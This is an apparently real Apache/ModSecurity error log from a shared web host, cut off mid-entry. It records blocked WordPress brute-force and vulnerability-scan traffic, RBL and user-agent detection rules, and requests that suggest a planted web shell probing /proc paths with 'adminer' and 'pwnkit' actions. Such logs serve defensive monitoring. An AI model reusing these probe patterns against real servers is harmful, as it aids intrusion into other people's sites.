/home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:47.693441 2026] [security2:error] [pid 646876:tid 646955] [remote 74.7.227.22:60790] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai30z9yTkdrNlD40tSHbiwAAPEw"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:24:47.720108 2026] [security2:error] [pid 715691:tid 715910] [client 159.223.112.69:47100] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30z7V-dFiaX9AtWiQvyAAAAU8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:47.737227 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3N1YnN5c3RlbS9kZXZpY2VzL3NlcmlvMS9wb3dlcg== [Sat Jun 13 18:24:47.737553 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3N1YnN5c3RlbS9kZXZpY2VzL3NlcmlvMS9wb3dlcg== [Sat Jun 13 18:24:47.771397 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.44:31393] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:47.771815 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.44:31393] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:47.889349 2026] [access_compat:error] [pid 715691:tid 715947] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/uploads/index.php, referer: http://krosscorp.us/wp-content/uploads/ [Sat Jun 13 18:24:47.890061 2026] [access_compat:error] [pid 715691:tid 715947] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/uploads/index.phtml, referer: http://krosscorp.us/wp-content/uploads/ [Sat Jun 13 18:24:47.892667 2026] [access_compat:error] [pid 715691:tid 715947] [client 185.199.157.14:33959] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/uploads/index.php5, referer: http://krosscorp.us/wp-content/uploads/ [Sat Jun 13 18:24:47.914277 2026] [security2:error] [pid 646876:tid 647130] [client 210.217.96.217:2344] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30z9yTkdrNlD40tSHblAAAAHo"] [Sat Jun 13 18:24:47.914463 2026] [security2:error] [pid 646876:tid 647130] [client 210.217.96.217:2344] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30z9yTkdrNlD40tSHblAAAAHo"] [Sat Jun 13 18:24:47.944545 2026] [security2:error] [pid 715691:tid 715862] [client 159.223.112.69:47110] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30z7V-dFiaX9AtWiQv2QAAAR8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:48.163106 2026] [security2:error] [pid 646876:tid 647039] [client 159.223.112.69:47126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300NyTkdrNlD40tSHbngAAAB8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:48.209556 2026] [security2:error] [pid 646876:tid 647108] [client 185.199.157.12:28179] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/adminfuns.php"] [unique_id "ai300NyTkdrNlD40tSHboAAAAGQ"] [Sat Jun 13 18:24:48.223758 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.44:31403] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:48.224032 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.44:31403] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:48.276105 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:24:48.276422 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:24:48.352164 2026] [security2:error] [pid 715691:tid 715803] [remote 17.22.253.66:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 66.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai300LV-dFiaX9AtWiQv5wABgFw"] [Sat Jun 13 18:24:48.380541 2026] [security2:error] [pid 646876:tid 647065] [client 159.223.112.69:47136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300NyTkdrNlD40tSHbpgAAADk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:48.396699 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.27:31624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:48.396988 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.27:31624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:48.501273 2026] [security2:error] [pid 646876:tid 646975] [remote 17.22.253.35:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 35.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai300NyTkdrNlD40tSHbqQAAUmA"] [Sat Jun 13 18:24:48.600038 2026] [security2:error] [pid 715691:tid 715909] [client 159.223.112.69:47138] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300LV-dFiaX9AtWiQv8AAAAU4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:48.613897 2026] [security2:error] [pid 715691:tid 715834] [remote 17.246.19.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai300LV-dFiaX9AtWiQv8QABJHs"] [Sat Jun 13 18:24:48.626131 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.111:46732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:48.626446 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.111:46732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:48.819339 2026] [security2:error] [pid 646876:tid 647075] [client 159.223.112.69:47152] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300NyTkdrNlD40tSHbtAAAAEM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:48.832217 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:24:48.832591 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:24:49.042077 2026] [security2:error] [pid 646876:tid 647088] [client 159.223.112.69:47164] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300dyTkdrNlD40tSHbvQAAAFA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:49.095183 2026] [security2:error] [pid 715691:tid 715804] [remote 17.241.75.107:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai300bV-dFiaX9AtWiQv_wABc10"] [Sat Jun 13 18:24:49.136870 2026] [access_compat:error] [pid 715691:tid 715711] [remote 57.141.14.34:44036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:49.137139 2026] [access_compat:error] [pid 715691:tid 715711] [remote 57.141.14.34:44036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:49.180315 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.78:48386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:49.180691 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.78:48386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:49.262046 2026] [security2:error] [pid 646876:tid 647129] [client 159.223.112.69:47176] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300dyTkdrNlD40tSHbwgAAAHk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:49.308509 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:24:49.308947 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:24:49.483573 2026] [security2:error] [pid 646876:tid 647017] [client 159.223.112.69:47178] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300dyTkdrNlD40tSHbxwAAAAk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:49.574922 2026] [security2:error] [pid 715691:tid 715832] [remote 17.246.23.56:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai300bV-dFiaX9AtWiQwEgABYHk"] [Sat Jun 13 18:24:49.590792 2026] [security2:error] [pid 646876:tid 646950] [remote 17.241.219.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai300dyTkdrNlD40tSHbyQAAYUc"] [Sat Jun 13 18:24:49.644542 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.242.16:47400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:24:49.645010 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.242.16:47400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:24:49.688432 2026] [security2:error] [pid 646876:tid 646893] [remote 17.246.19.126:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 126.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai300dyTkdrNlD40tSHbzAAABA4"] [Sat Jun 13 18:24:49.699833 2026] [security2:error] [pid 646876:tid 647058] [client 159.223.112.69:47184] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300dyTkdrNlD40tSHbzgAAADI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:49.700098 2026] [security2:error] [pid 646876:tid 647086] [client 159.223.112.69:47196] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300dyTkdrNlD40tSHbzwAAAE4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:49.721009 2026] [security2:error] [pid 715691:tid 715949] [client 34.66.224.20:57166] ModSecurity: Access denied with code 406 (phase 2). Match of "rx [.](png|jpeg|jpg|tiff|bmp|gif|webp|heif|svg|raw|ico|ppm|pgm|pbm|exr|nef|dng|cr2|orf|arw|pef|sr2|raf|kdc|indd|ai|eps|pdf|psd|tga|hdr|j2k|jpf|jp2|pspimage|cut|icns|webm|bpg|avif|heic|fpx|hdri|hdp|yuv|sgi|xpm|svgz)$" against "REQUEST_FILENAME" required. [file "/opt/mod_security/hg_rules.conf"] [line "842"] [id "900095"] [msg "Bad UA :: Fake Mozilla Agent"] [hostname "nelsonfarmstn.com"] [uri "/"] [unique_id "ai300bV-dFiaX9AtWiQwGAAAAXY"] [Sat Jun 13 18:24:49.748464 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.242.16:47400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:24:49.748769 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.242.16:47400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:24:49.772400 2026] [security2:error] [pid 646876:tid 647098] [client 159.223.112.69:47194] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300dyTkdrNlD40tSHb0QAAAFo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:49.832371 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:24:49.832626 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 